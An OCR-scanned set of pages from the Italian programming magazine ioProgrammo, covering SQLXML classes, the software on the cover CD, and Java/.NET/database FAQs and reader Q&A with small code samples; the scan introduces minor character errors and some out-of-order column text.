ritornati dalla query. 

Sono presenti inoltre varie proprietà molto interessan- 
ti, quali: 

• ClientSideXml permette di effettuare la trasfor- 
mazione del rowset estratto sul client e non diret- 
tamente sul server. Questo può tornare utile nel 
caso si vogli alleggerire il carico di lavoro del ser- 
ver. 

• XSLPath specifica il percorso di un foglio di stile 
XSL utilizzato per effettuare la trasformazione del- 
l'output; 



SqlXmlCommandType.UpdateGram 

Esegue un UpdateGram. 

SqlXmlCommandType.Diffgram 

Esegue un DiffGram. 

• SqlXmlParameter: La classe definisce le proprietà 
e i metodi dei un parametro di un oggetto di tipo 
SqlXmlCommand. Un oggetto SqlXmlParameter e 
creabile tramite il metodo CreateParameter della 
classe SqlXmlCommand. 

• SqlXmlAdapter: La classe fornisce un'integrazio- 
ne tra l'oggetto Dataset ed una sorgente dati SQL 
Server. Essa supporta tre costruttori: 

1) Nel primo viene fornito un oggetto di tipo 
SqlXmlCommand; 

2) Nel secondo si specificano il testo ed il tipo di 
comando, unitamente ad una stringa di con- 
nessione; 

3) Nel terzo la firma del costruttore consiste in 
uno stream contenente un envelope di coman- 
do, il tipo di comando stesso e la sempre pre- 
sente stringa di connessione. 

I metodi supportati da un oggetto di tipo SqlXmlA- 
dapter sono Fili e Update, entrambi aventi come argo- 
mento un Dataset che nel primo caso viene riempito 
con il resultset, mentre nel secondo viene utilizzato 
per riportare le modifiche sulla fonte dati. 



CommandText rappresenta il testo del comando 
da eseguire; 

CommandStream rappresenta uno stream da uti- 
lizzare come sorgente del comando. In questa mo- 
dalità è possibile utilizzare solamente "envelope" 
del tipo UpdateGram, Tempiale o DiffGram; 

CommandType definisce il tipo di comando da 
eseguire. Può assumere uno dei seguenti valori: 

SqlXmlCommandType.Sql 

Esegue un comando SQL. (p.e. SELECT * 
FROM Employees FOR XML AUTO) 

SqlXmlCommandType.XPath 

Executes un comando Xpath (p.e. Employees 
[@EmployeeID=l]). 

SqlXmlCommandType.Template 

Esegue un Template. 

SqlXmlCommandType.TemplateFile 

Esegue un Template situato in un percorso de- 
terminato. 



CONCLUSIONI 

Qui finisce la nostra disamina, interamente dedicata a 
far luce sulle possibilità che ci vengono offerte dalla 
tecnologia di accesso ai dati SQLXML 3.0. Abbiamo vi- 
sto come configurare il supporto di ad SQLXML in US, 
come eseguire query da URL, da template, come tra- 
sformare dati "on the fly", pubblicandoli in una sem- 
plice pagina web. Siamo andati inoltre a valutare qua- 
li metodologie di update dei dati vengano supportate 
tramite gli UpdateGrams ed infine abbiamo visto che 
l'accessibilità a tutte queste interessanti funzionalità è 
assicurata anche in ambiente .net, grazie a delle sem- 
plici classi managed. 

Un buon esercizio per valutare come questa tecnolo- 
gia ci possa aiutare, può essere rappresentato dalla 
creazione di un meccanismo di accesso ai dati XML- 
only (non ADO.net) che permetta l'interscambio dati 
tra più piattaforme. 

In questo scenario SQLXML può venirci in aiuto snel- 
lendo molte attività che fino a poco tempo fa erano 
noiose, ripetitive e per questo soggette ad errori di im- 
plementazione. 
Buona sperimentazione a tutti! 

Ing. G. Davide Senatore 
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Il Software 

sul CD-ROM di ioProgrammo 



Ecco i migliori 

software scelti 

per voi da 

ioProgrammo: 

Windows XP SP 

1, Windows 

2000 SP 3, 

DatabaseBridge 

1.002. 



Installazione 
ActiveX in 
Delphi 

I Dal menu "Com- 
ponent" selezio- 
nare la voce "Import 
ActiveX Component"; 
nella schermata pre- 
sente a video è visibi- 
le una list box conte- 
nente l'elenco degli 
ActiveX installati nel 
sistema; da questi è 
possibile scegliere il 
componente e instal- 
larlo mediante il bot- 
tone Instali. Tramite 
l'uso dei bottoni "Re- 
move" e "Add" è pos- 
sibile rispettivamente 
rimuovere un compo- 
nente dalla list box o 
aggiungerne uno non 
presente in essa ma 
comunque residente 
in qualche directory 
del sistema. Dalla list 
box "Palette Page" si 
seleziona la sezione 
(Standard, Additio- 
nal, Win32, etc, etc) 
nella quale troverà 
posto l'icona del com- 
ponente. 



Windows XP SP 1 

Questo mese ioProgrammo vi 
offre la possibilità di aggiornare il 
vostro sistema con i nuovi Service 
Pack per Windows XP e Windows 
2000. Le versioni allegate al CD 
sono sia in lingua inglese che in 
italiano. Il Service Pack per Win- 
dows XP è il primo rilasciato da 
Microsoft e risulta essere di fon- 
damentale importanza per i 
miglioramenti che porta sia nella 
sicurezza che nelle prestazioni 
del sistema. L'elenco delle corre- 
zioni apportate è lunghissimo 
(per chi è interessato può trovarlo 
all'indirizzo http://support .micro- 
soft, comi supporti ServicePacks 
/Windows/XP/ SPIFixList.asp). 
I principali campi di intervento di 
questo Service Pack sono dunque: 

• miglioramento della compati- 
bilità hardware e delle applica- 
zioni; 

• aumento dell'affidabilità del 
sistema operativo; 

• potenziamento della protezio- 
ne, inclusi gli aggiornamenti 
più recenti per i problemi noti 
relativi alla protezione di Win- 
dows XP. 

Tra le caratteristiche più attese, se- 
gnaliamo che con Windows XP 
SPI è incluso il supporto per le 
periferiche USB 2.0. 1 requisiti per 
poter installare il Service Pack: 

• Sistema operativo: Windows 
XP Home Edition, Windows XP 
Professional o Windows XP 64- 
Bit Edition. 

• Spazio su disco: dipende dalle 
modalità di installazione di 
Windows XP SPI. All'atto del- 
l'installazione, sarà il Service 
Pack stesso a verificare l'esi- 
stenza dello spazio disponibile. 

Ecco alcuni consigli di Microsoft 
cui attenersi rigorosamente prima 



di procedere all'installazione: 

• Se si utilizza Cambio rapido 
utente, è necessario accedere al 
computer come amministratore 
e assicurarsi che nessun altro 
utente sia connesso al compu- 
ter. 

• Nel caso l'installazione abbia 
esito negativo, è necessario ga- 
rantire il recupero di maggiore 
quantità di dati possibile. Per 
ottimizzare le prestazioni del 
recupero di dati in computer 
che eseguono Windows XP Pro- 
fessional, attivare il Ripristino 
automatico di sistema (ASR, 
Automated System Recovery) 
prima di iniziare l'installazio- 
ne. Per istruzioni dettagliate, 
vedere gli argomenti "Per crea- 
re un set per il Ripristino auto- 
matico di sistema utilizzando 
Vutilità di backup" o "Eseguire 
un ripristino in seguito a un 
errore di sistema utilizzando il 
Ripristino automatico di siste- 
ma" in Guida in linea e suppor- 
to tecnico di Windows XP. 

• Eseguire un backup completo 
dei file memorizzati nel com- 
puter. 

• Prima di installare SPI inter- 
rompere qualsiasi programma 
antivirus con scansione in tem- 
po reale, in quanto potrebbe in- 
terferire con l'installazione. Al 
termine dell'installazione di 
SPI, riavviare il programma 
antivirus. 

Nel CD:/soft/SvPl_XP/ 

Windows 2000 SP 3 

I campi in cui Microsoft è interve- 
nuta per migliorare Windows 
2000 sono in linea di massima i 
medesimi del Service Pack rila- 
sciati per Windows XP, dunque: 
sicurezza, affidabilità e prestazio- 
ni. Questo terzo service pack in- 
clude anche tutti i precedenti mi- 
glioramenti introdotti con i due 



precedenti già rilasciati, si può 
dunque installarlo su un sistema 
che non sia mai stato aggiornato, 
così come su un sistema che abbia 
già avuto un aggiornamento con 
uno o entrambi i service pack pre- 
cedenti. I requisiti per poter in- 
stallare il Windows 2000 SP3 so- 
no: Sistema operativo: Windows 
2000 Professional, Windows 2000 
Server, Windows 2000 Advanced 
Server, e Windows 2000 con Ser- 
ver Appliance Kit. 
Nel CD:/soft/SvP3_W2k/ 

Aqua Data Studio 1.0 

Un potente tool per amministrato- 
ri di database che consente di edi- 
tare ed eseguire script SQL oltre 
che consentire una agevole naviga- 
zione nelle strutture dei più com- 
plessi database. Aqua Data Studio 
mette a disposizione degli utenti 
un potente ambiente di sviluppo 
integrato che può fare da interfac- 
cia a tutti i principali database pre- 
senti sul mercato, consentendo l'e- 
secuzione di più operazioni simul- 
taneamente su più database e 
attraverso un ambiente coerente e 
ben strutturato. Degno di menzio- 
ne risulta essere il Query Analyzer 
che mette a disposizione un editor 
con un syntax highlighting studia- 
to specificamente per gli RDBMS e 
con avanzate funzioni di auto- 
completamento che velocizzano 
notevolmente il lavoro degli svi- 
luppatori. Aqua Data Studio può 
salvare i risultati delle query in 
numerosi formati, compresi 
HTML e XML. Gratuito. 
Nel CD:/soft/adstudio/ 

Compare 2.7 

Attraverso Compare è possibile 
utilizzare qualsiasi file di database 
che abbia estensione .dbf (dBase) o 
.db (Paradox). Compare permette di 
eseguire query su più database 
contemporaneamente e può inseri- 
re i risultati in un database compa- 
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tibile con Access. Un'ottima occa- 
sione per gli sviluppatori che si tro- 
vano a dover convertire vecchi 
database in applicazioni più mo- 
derne. 
Nel CD:/soft/compared.zip 

DatabaseBridge 
1.002 

Un completo ambiente per l'inte- 
grazione di dati provenienti da 
diverse piattaforme DBMS. Com- 
parazione e migrazione dei dati 
sono le funzioni chiave di questo 
ambiente che riesce a trasferire 
con grande velocità i dati da un 
Database all'altro. Le funzioni di 
comparazione e migrazione pos- 
sono essere integrate in modo da 
rendere possibile l'allineamento 
dei dati fra DB diversi. Database- 
Bridge lavora correttamente con 
qualsiasi database compatibile 
con lo standard ODBC, inclusi 
dunque ORACLE, SQL server, 
DB2, Sybase, Access, ecc. Inoltre, 
DataBridge può operare su dati 
salvati in formato HTML e 
EXCEL. Versione di prova valida 
novanta giorni. 
Nel CD: /soft 
/DatabaseBridge. zip 

DBUptime 1.7 

Una funzionale utility che può 
monitorare fino a quattro database 
simultaneamente, l'unico requisito 
per i database è che supportino 
l'accesso via ODBC. Il servizio di 
notifica può essere settato per in- 
viare una mail automaticamente in 
caso di comportamenti anomali 
del sistema: rallentamenti o com- 
portamenti "sospetti". 
Nel CD:/soft/dbuptime.exe 

Enterprise 
Architect 3.5 

Un completo ambiente visuale per 
sviluppare e manutenere software 
obcject oriented. Con il pieno sup- 
porto di UML e di tutti i diagram- 
mi contemplati dallo standard. 
Insostituibile nelle pratiche di 
reverse engineering, grazie alla 
possibilità di riconoscere codice 
scritto in tutti linguaggi più diffusi: 
C++, Java, Visual Basic, Delphi e 
C#. Anche chi si occupa di data 



modelling potrà utilizzare con pro- 
fitto Enterprise Architect grazie al 
pieno supporto per SQL e ODBC. 
Nel CD:/soft/easetup.exe 

EZ Extract 
Reso uree 1.7 

Ogni programmatore sa quanto sia 
noioso dover disegnare l'icona giu- 
sta per ogni pulsante e trovare o 
creare il suono adatto ad ogni azio- 
ne. Con EZ Extract Resource po- 
tremo utilizzare tutte le risorse na- 
scoste nel nostro sistem e nelle ap- 
plicazioni già installate. Una gran- 
de occasione per risparmiare tem- 
po! Alcune funzioni sono disabili- 
tate nelle versione di prova. 
Nel CD:/soft/ExtraResSetup.exe 

Hackman 7.02 

A dispetto del nome, questo pro- 
dotto non è dedicato esclusiva- 
mente al mondo hacker ma a 
chiunque sia curioso di indagare la 
struttura dei programmi eseguibi- 
li. HackMan può infatti riportare 
in assembler qualsiasi eseguibile 
adatto ai Pentium. A dispetto della 
sua gratuità, uno dei migliori di- 
sassemblatori reperibili al momen- 
to. HackMan è anche un ottimo 
editor esadecimale e offre la capa- 
cità di criptare e decrittare file con 
un algoritmo a 128 bit. Tra le carat- 
teristiche più interessanti annove- 
riamo il disk editor, la toolbar con- 
figurabile, un'interfaccia più velo- 
ce, il supporto per disassemblare 
codice Pentium 4 e molto altro an- 
cora. In questa release sono stati 
risolti alcuni bug presenti nella 7.0. 
Nel CD:/soft/hack702.zip 

HexDiff 3.0 

Un tool che consente di mettere a 
confronto due file, evidenziandone 
le differenze attraverso una effica- 
ce interfaccia. 

Attraverso la marcatura delle diffe- 
renze con i colori rosso e verde, è 
possibile riconoscere l'esistenza e 
la posizione delle differenze a 
colpo d'occhio. La nuova versione 
si presenta in una veste completa- 
mente rinnovata in stile XP. Ver- 
sione di valutazione valida trenta 
giorni. 
Nel CD:/soft/hexdiff3.exe 



EditPad Pro 4.5.3 

Uno dei migliori e più diffusi edi- 
tor testuale: con una interfaccia 
semplice e di rara efficacia, Edit- 
Pad consente di editare più file 
contemporaneamente. Avanzate 
funzionalità di search & replace 
unite alla evidenziazione sintattica 
per i più diffusi linguaggi di pro- 
grammazione e al pieno supporto 
per le regular expression, fanno di 
EditPad la scelta di riferimento per 
i programmatori e per chiunque 
abbia a che fare con file di testo. 
Confronto visuale tra file e editor 
esadecimale completano questo 
prodotto davvero eccellente. 
Nel CD: /soft 
/ SetupEditPadProDemo.exe 

Setup Factory 6.0 

Un sistema che rende semplicissi- 
mo costruire file di installazione 
per le applicazioni che sviluppia- 
mo. Sarà poi facile distribuirli via 
Web, e-mail, FTP, CD-ROM o Lan. 
Per la creazione del pacchetto di 
installazioni un wizard ci guida in 
delle semplici azioni di drag & 
drop e, attraverso delle intuitive 
strutture condizionali, permette di 
realizzare dei pacchetti di fattura 
altamente professionale e capaci di 
adattarsi alla macchina su cui si 
effettua l'installazione. 
Da segnalare il motore di compres- 
sione interno particolarmente effi- 
ciente e rapido. Versione di valuta- 
zione valida trenta giorni. 
Nel CD: /soft/suf 60ev.exe 

SQL VB Code 
Generator 1.0 

Un potente ambiente per semplifi- 
care la generazione di query SQL e 
comandi Visual Basic per la gestio- 
ne di database. Una volta collegate 
le tabelle e indicato il tipo di azio- 
ne che si vuole eseguire, i comandi 
saranno generati autonomamente 
a tutto vantaggio della rapidità di 
implementazione e senza il biso- 
gno di dover ricordare la struttura 
del database. 

Versione dimostrativa, risulta disa- 
bilitata la funzione di salvataggio 
del codice prodotto. 
Nel CD: /soft 
/ SQLVBCodeGeneratorSetup.zip 



Risorse Java 

mgm Molte delle ri- 
■» sorse Java ripor- 
tate all'interno del CD 
ROM sono munite di 
file .java, .class e di 
file html per essere 
testate. Nel caso di 
compilazione del file 
.java si dovrà utiliz- 
zare un opportuno 
strumento, come ad 
esempio il JDK di Sun. 
Per utilizzarlo si do- 
vrà operare da prom- 
pt del DOS, accedere 
alla directory bin del- 
l'ambiente stesso ed 
avviare il Java Com- 
piler digitando la 
stringa: javac "nome- 
file". 



Installazione 
componenti 

VC++/C++ 

^ I file C++, delle 
^fiU librerie facenti 
parte del CD-ROM, 
possono essere diret- 
tamente inclusi all'in- 
terno dei vostri pro- 
getti. Le risorse Visual 
C++ sono invece for- 
nite del file progetto, 
quindi dall'ambiente 
di sviluppo Microsoft 
utilizzare la voce di 
menu "Open Project" 
ed automaticamente 
tutti i file afferenti al 
progetto stesso ver- 
ranno visualizzati, e 
da tale ambiente è 
possibile inoltre ese- 
guire l'applicativo 
stesso. Se invece ri- 
sorsa riportata è una 
dll, allora essa potrà 
essere direttamente 
inclusa all'interno di 
un progetto. 
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LE FAQ DI IOPROGRAMMO 

Le risposte alle domande più frequenti 

Ogni mese troverete riportate le domande che più spesso giungono in redazione. Capita spesso che, affrontando linguaggi in 
continua evoluzione, si diano per scontati alcuni concetti o alcune caratteristiche di base: queste pagine sono l'occasione per 
ribadire o spiegare meglio questi concetti. 




Java 



Qual è la dimensione 
dei tipi numerici 
primitivi in Java? 

Nella tabella seguente sono riportate 
le dimensioni ed gli intervalli ammis- 
sibi: 



Tipo 


Dimens. 


Valori ammessi 


char 


16 bit 


Carattere singolo 


byte 


8 bit 


Un intero compreso fra -128 
e +127 


short 


16 bit 


Un intero compreso fra -32768 
e +32767 


int 


32 bit 


Un intero compreso fra 
-2.147.483.648 e +2.147.483.647 


long 


64 bit 


Un intero nell'intervallo +/- 
9 miliardi di miliardi (una cifra 
con diciotto zeri) 


float 


32 bit 


Un numero in virgola mobile a 
singola precisione, con otto 
cifre significative 


doublé 


64 bit 


Un numero in virgola mobile a 
doppia precisione, con sedici 
cifre significative. 



Come si confrontano 
le stringhe? 

Trovandosi alle prime armi con Java, 
si può facilmente incorrere nell'errore 
di confrontare due stringa utilizzando 
quella che può apparire la sintassi più 



if (si == s2) 

Il significato di questo confronto è: "I 
due oggetti hanno lo stesso riferimen- 
to?" Cioè, hanno lo stesso indirizzo, 
rappresentano lo stesso oggetto? 
Quello che invece ci interessa sapere e 
se i due oggetti hanno lo stesso "con- 
tenuto". 

La sintassi corretta per il confronto fra 
stringhe è: 

if (sl.equals(s2) ) 



Le alternative possibili sono numero- 
se e di seguito ne elenchiamo alcune. 

if (sl.equalsIgnoreCase(s2) ) 

if (sl.startsWith(s2) ) 

if (sl.endsWith(s2) ) 

if (sl.compareTo(s2) < 0) 

if (s2.equals("apple") ) 



Come si utilizza la 
classe Vector? 

La prima cosa è dichiarare una varia- 
bile di tipo Vector e chiamare il co- 
struttore. In questa fase è possibile de- 
cidere se specificare o meno la gran- 
dezza del vettore: le istanze della clas- 
se vector possono crescere dinamica- 
mente allocando nuovo spazio ogni 
volta che viene saturato lo spazio già 
allocato. 

I Vector funzionano come delle liste 
quindi è possibile aggiungere e can- 
cellare un elemento in qualsiasi punto 
della lista. 

Vector mioVector = new Vector(); 

Se si ha già una idea di quanto sarà 
grande il vettore, è possibile indicarlo 
in questa fase: 

mioVector = new Vector(32); 

Ora che abbiamo il nostro vettore, 
dobbiamo aggiungere i vari elementi 
che lo compongono. I Vector funziona- 
no come delle liste quindi è possibile 
aggiungere e cancellare un elemento 
in qualsiasi punto della lista. Ricor- 
diamo che qualsiasi oggetto può esse- 
re inserito in un vector. 
Utilizzando il metodo addElement, si 
aggiunge un elemento alla fine del 
vettore: 

for (int j = 1; j <= 20; i ++) 

{ 

mioVector.addElement( new String 



("elemento numero " + i)); 



> 



Ora che abbiamo popolato il nostro 
vettore andiamo a stampare l'elemen- 
to in posizione 6: 

System. out.println ("Questo è I'" + 

mioVector.elementAt(6) ); 

Se vogliamo scorrere l'intero vettore, 
possiamo utilizzare l'interfaccia Enu- 
meration che ci permetterà di accedere 
ad ogni elemento senza dover cono- 
scere la dimensione dell'intero vetto- 
re. 

Nel codice che segue, è da notare la 
necessità del cast degli elementi poi- 
ché, all'atto dell'aggiunta nel vettore, 
ogni elemento subisce un cast verso la 
classe base Object: 

for (Enumeration e = mioVector.elements(); 
e.hasMoreElementsQ;) 

{ 

String myString = (String) e.nextEle- 

mentQ; 

System .out.println(myStnng); 

} 



E possibile impedire 

l'esecuzione 

di più istanze 

di un'applicazione Java? 

La risposta è si. Per evitarlo è possibi- 
le utilizzare la classe java. net. Server- 
Socket. La cosa da fare sarà attivare 
una istanza di ServerSocket e metterla 
in ascolto su una determinata porta. 
In questo modo, se si tenterà di lan- 
ciare una seconda istanza della nostra 
applicazione, interverrà una eccezio- 
ne java.net .BindException. Questo per- 
chè non è possibile avere due server in 
ascolto sulla stessa porta. 
Ecco il codice: 

private static final int RUN_PORT = 9666; 



http: //www. itportal.it 



3 ►►► 111 



void main(String[] av) 

{ 

try 

{ 

java. net. ServerSocket ss = new 
java, net. Ser-verSocket(PORT); 

} 

catch (java.net.BindException ex) 

{ 

System. out.println("II programma è 

già in esecuzione"); 

System.exit(l); 

} 

catch (java.io.IOException ex) 

{ 

ex. printStackTraceQ ; 

System.exit(l); 

} 

//qui va il codice del main 




Framework 



.NET funziona solo su 
sistemi Windows? 

Attualmente si. L'unica piattaforma 
su cui è possibile sviluppare ed ese- 
guire applicazioni .NET è Windows. 
In fase di beta testing esiste un por- 
ting per Linux: il progetto open sour- 
ce Mono (www.go-mono.org). 

Cosa sono 

i Web Services? 

Da più di un anno non si parla d'altro: 
ma il senso reale dei Web Service è 
spesso frainteso. Cerchiamo di risol- 
vere le ambiguità che questo termine 
si porta dietro. 

Innanzitutto c'è da dire che i Web Ser- 
vices sono piccole unità di codice, svi- 
luppate per eseguire un limitato insie- 
me di compiti (gli esempi tipici posso- 
no essere: servizi di validazione per i 
numeri di carte di credito, aggiorna- 
menti in tempo reale delle quotazioni 
di borsa, servizi di traduzione on-line 
ecc.). I Web Services sono indipenden- 
ti sia dalla sistema operativo su cui ri- 
siedono, che dal linguaggio con cui 
sono costruiti: grazie all'utilizzo di 
protocollo standard basati su XML, un 



Web Service può essere interrogato da 
qualsiasi programma, scritto in qual- 
siasi linguaggio, ospitato in un S.O. 
qualunque. I protocolli standard adot- 
tati dai Web Services sono: HTTP, 
XML, SOAP, WSDL, and UDDI. 
Vediamoli nel dettaglio: 

• http: è il protocollo standard per la 
comunicazione su Internet, http 
sta per Hypertext Transfer Protocol. 
Accettato dal World Wide Web 
Consortium (W3C), l'http consente 
l'accesso ai servizi Web anche at- 
traverso firewall. 

• XML (eXtensible Markup Language): 
standard di tutte le nuove applica- 
zioni Web, XML consente di imma- 
gazzinare, trasportare e scambiare 
dati in modo del tutto agnostico ri- 
spetto alla piattaforma. 

• SOAP (Simple Object Access Proto- 
col): una piattaforma di comunica- 
zione leggerissima che consente 
una facile comunicazione fra ap- 
plicazioni via Internet e http. 

• WSDL (Web Services Description 
Language): è un linguaggio basato 
su XML utilizzato per definire le 
funzioni di un Web Service e per 
descrivere le modalità di accesso 
allo stesso. In pratica, ogni servizio 
dispone di una pagina WSDL che 
permette di conoscere tutti i meto- 
di esposti dal servizio stesso e l'e- 
satta sintassi necessaria ad invo- 
carli. 

• UDDI (Universal Description, Di- 
scovery and Integration): 

un servizio di directory che per- 
mette di pubblicare il proprio ser- 
vizio Web. Per afferrarne l'utilità, 
si paragona questo servizio alle 
pagine gialle: permette di cercare il 
servizio che ci interessa. Il risulta- 
to della ricerca sarà l'indirizzo del 
servizio Web. È un registro pubbli- 
co attraverso cui chiunque può 
pubblicare ed effettuare ricerche 
sui Web Services. 



Quali sono i benefici 
dei Web Services 

I Web Services permettono una gran- 



de semplificazione nella comunicazio- 
ne fra applicazioni di qualsiasi natura: 
invocare metodi su oggetti remoti è 
semplice come interrogarli in locale, e 
senza che si conosca il linguaggio con 
cui sono stati scritti né tanto meno il 
sistema operativo su cui risiedono. 
I WS consentono anche un veloce riu- 
tilizzo del codice: grazie alla facile re- 
peribilità ed alla semplicità con cui è 
possibile interrogarli, sarà sempre più 
frequente l'utilizzo di WS al posto di 
implementazione di codice ex novo. 



Database 



Come posso rendere 
eseguibile un progetto 
Access? 

Diciamo subito che non esiste un me- 
todo per rendere eseguibile un'appli- 
cazione scritta in Access. Ma si può ri- 
mediare: innanzitutto si potrebbe pen- 
sare di fare un porting dell'applicazio- 
ne verso Visual Basic. In questo modo 
i cambiamenti sarebbero minimi (i lin- 
guaggi adottati dai due ambienti sono 
quasi identici) e l'applicazione diven- 
ta usufruibile anche ad utenti che non 
abbiano installato Access. 
Ci sono diversi tool che si occupano di 
aiutarci in questa transizione da Ac- 
cess verso VB, uno dei più diffusi è 
AccessToVB della Greenwich Finan- 
cial Modeling (www.gfminc.com). 
Un'altra possibilità è distribuire l'ap- 
plicazione Access con il motore di 
run-time disponibile nella versione 
developer di Access. 
Diciamo pure che questa si presenta 
come la scelta di elezione per gli svi- 
luppatori in quanto consente anche di 
creare e distribuire dei completi pro- 
grammi di setup per l'installazione 
dell'intera applicazione (motore run- 
time e dll comprese) con un singolo 
click. 

Infine, se la necessità di distribuire l'e- 
seguibile è data dalla voglia di proteg- 
gere il nostro lavoro ed il codice da 
noi prodotto, si può optare per la sem- 
plice conversione del database da 
.mdb a .rade: questa operazione impe- 
disce sia l'analisi che la modifica del 
nostro progetto. 
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Box 

L'esperto risponde... 



Esportare da Access 

► ►►►►►►►►►►►►►► 

Vorrei salvare una query Access 
come file CSV per esportarvi 
alcune liste di indirizzi ordinati in 
modo da impiegarli in altre 
applicazioni. I dati delle liste 
possono sicuramente essere 
supportati dal formato CSV, 
tuttavia non so bene come devo 
procedere per salvare la query 
Access in tale estensione. 
Potreste darmi una mano? 

Daniele 

Se si vuole effettuare tale operazione 
direttamente nel codice della query, 
possiamo aggiungere la seguente istru- 
zione: 

DoCmd.TransferText acExportDelim, , 

"myQuery", "myFile.csv" 

Dalla finestra della query, invece, basta 
selezionare la voce File/Export. A questo 
punto, nella casella di selezione Tipo di 
File, si deve scegliere la voce File di testo. 
Nella casella di selezione del nome, 
invece, si dovrà impostare la denomina- 
zione del file, aggiungendo l'estensione 
".csv". Infine, basta cliccare sul tasto Salva, 
scegliere il tipo di separatore nelle finestre 
successive e cliccare sul pulsante Fine. 



Gli header in C+ + 

► ►►►►►►►►►►►►►► 

Cara ioProgrammo, sono un 
neo-programmatore che ha 
deciso di intraprendere la lunga e 
dura strada del C+ + . Vorrei 
chiedervi alcune delucidazione 
sugli header: potreste dirmi 
esattamente a cosa servono e 
qual è il modo giusto di utilizzarli? 
Giuliano Mieli 



u 



n file header C++ (estensione ".h") 
inizia e termina di solito con le diret- 



tive cautelative delle direttive #include, al 
fine di evitare che le dichiarazioni in esso 
contenute siano ridichiarate altre volte 
durante una medesima sessione di compi- 
lazione. Di solito, le direttive cautelative 
per l'inclusione hanno il seguente schema: 

// File stdlib.h 

#ifndef STDLIB_INCLUDED // controlla che il 

file non sia già stato incluso 

#define STDLIB_INCLUDED 

// dichiarazioni, typedef, ecc.. 

#endif // chiude la direttiva cautelativa 

di inclusione 

All'interno del file header, si possono 
inserire i prototipi delle funzioni, le di- 
chiarazioni di elementi struct, le de- 
finizioni di macro (Mefine), i tipi enum, le 
definizioni typedef, le dichiarazioni di 
classi, le dichiarazioni extern di oggetti 
globali, le dichiarazioni template class, le 
direttive #pragma, ecc. All'interno di file 
header non bisognerebbe mai implemen- 
tare le funzioni e i membri delle classi, se 
non per le funzioni inline. Bisognerebbe 
altresì evitare di dichiarare variabili, array, 
oggetti e variabili globali. Queste opera- 
zioni, infatti, dovrebbero essere effettuare 
nel file di implementazione cui il file 
header si riferisce (estensione " .cpp"). 



Non mi si cestina il file! 

► ►►►►►►►►►►►►►► 

Come posso "dire" a Visual Basic 
di spostare un file nel cestino? 
Ho provato tramite il comando "/Va- 
/r?e" mettendo come percorso "C; 
\Recycled" e il nome del file, però i 
file scompaiono nel nulla invece di 
andare nel cestino... come mai? Ho 
forse sbagliato percorso? Oppure è 
proprio il comando che non va be- 
ne? Ho provato anche col comando 
"FileCopy", ma con lo stesso risul- 
tato: invece di mandarli nel cestino 
i file spariscono nel nulla! 

itto84 • email 



Risponde Elia Florio 

Usando questo metodo non fai altro 
che copiare "fisicamente" il file nella 
cartella del cestino (C:\RECYCLED ap- 
punto...), tuttavia per ritrovare suc- 
cessivamente il file dentro al cestino ciò 
non basta; Windows visualizza i file 
presenti nel cestino mediante un file di 
informazioni contenuto nel cestino stesso 
cestinato (di solito è un file nascosto chia- 
mato INF02). 

Prova il seguente codice, che fa uso della 
API "SHFileOperation": 

Private Type SHFILEOPSTRUCT 

hWnd As Long 

wFunc As Long 

pFrom As String 

pTo As String 

fFlags As Integer 

fAborted As Boolean 

hNameMaps As Long 

sProgress As String 

End Type 

Private Const FO_DELETE = &H3 

Private Const FOF_ALLOWUNDO = &H40 
Private Declare Function SHFileOperation 

Lib "shell32.dll" Alias 

"SHFileOperationA" (IpFileOp As 

SHFILEOPSTRUCT) As Long 

Private Sub Form_Load() 

Dim SHFileOp As SHFILEOPSTRUCT 

With SHFileOp 

.wFunc = FO_DELETE 

.pFrom = "C:\DUMMY.txt" 

■fFlags = FOF_ALLOWUNDO 

End With 

SHFileOperation SHFileOp 

End Sub 



Per contattarci: 

e-mail: iopinbox@edmaster.it 

Posta: Edizioni Master, 

Via Cesare Correnti, 1 - 20123 Milano 
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O'Reilly Network 



http://www.oreillynet.com/ 



Of Reilly è un marchio editoria- 
le molto apprezzato dagli 
sviluppatori di tutto il mon- 
do. Se, almeno una volta, avete trascor- 
so qualche minuto davanti agli scaffali 
che le librerie specializzate dedicano 
all'informatica e alla programmazione, 
sicuramente non vi possono essere sfug- 
giti i diversi volumi della scuderia 
O'Reilly (in Italia distribuiti prevalente- 
mente da Apogeo). I libri di O'Reilly si 
distinguno per l'elevata qualità dei loro 
contenuti (solitamente molto professio- 
nali e assai chiari) e per le figure anima- 
lesche che di norma campeggiano sulle 
copertine (non a caso, la principale col- 
lana informatica dell'editore è chiamata 
"animai books"). Le attività di O'Reilly, 
ad ogni modo, non si fermano alla carta 
stampata. In rete è possibile accedere, 
del tutto gratuitamente e senza oneri di 
alcun tipo, ad un particolarissimo net- 
work in lingua inglese, composto da 
diversi siti tutti mantenuti, gestiti ed 
organizzati dall'editore in questione. Il 
centro Web di O'Reilly è assai popolare 
tra gli sviluppatori d'oltre oceano, e vi 
assicuro che la buona fama di cui gode è 
pienamente meritata. Il network, come 
è possibile vedere nella sua pagina prin- 
cipale, dichiara i proprio intenti con 
l'emblematica scritta "the source for 
open and emerging technologies". 
All'interno di oreillynet.com, infatti, tro- 
vano posto diverse sezioni dedicate, in 
un modo o nell'altro, alle tecnologie 
aperte di maggiore fama. Sul menu di 
sinistra sono presentate le principali ca- 
tegorie disponibili. C'è spazio per Apa- 
che, per i sistemi operativi BSD, per 
Java, per Linux, per Perl, per PHP, per 
XML, per Python, per Mozilla e chi più 
ne ha più ne metta. Una delle sezioni 
inaugurate più di recente si rivolge agli 
sviluppatori .NET. O'Reilly, all'interno 
di questi scomparti, presenta con co- 
stanti aggiornamenti una lunga serie di 
articoli di pregevole fattura, gratuita- 
mente fruibili senza limitazioni di alcun 



tipo. Data la vastità degli argomenti 
trattati, mi rimane difficile poter descri- 
vere la totalità dei servizi offerti. Per- 
tanto, riporterò alcuni esempi emblema- 
tici, perlopiù colti dalle aree che hanno 
suscitato il mio personale interesse e 



scomparti ed articoli su tutte le temati- 
che più interessanti di Java. Anche qui, 
se ne trovano per tutti i gusti: ]2EE, 
CORBA, JSP, Servlet, EJB, XML e JAX, 
Web services, J2ME ed i dispositivi wire- 
less... 
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con le quali ho avuto maggiore espe- 
rienza. Avete sempre pensato a Mozilla 
come ad un semplice browser? Allora 
ricredetevi visitatando la sezione che 
O'Reilly dedicata al famoso navigatore 
open source. Gli svariati articoli presen- 
ti nella sezione vi guideranno all'impie- 
go di XUL, delle API di Mozilla, dei 
fogli di stile e di tanti altri strumenti 
che, assieme, permettono di sfruttare 
Mozilla come piattaforma di sviluppo e 
di esecuzione anziché come semplice 
Web browser. 

Installare e configurare Apache è un 
problema? Troverete le risposte che vi 
servono all'interno dell'apposita sezio- 
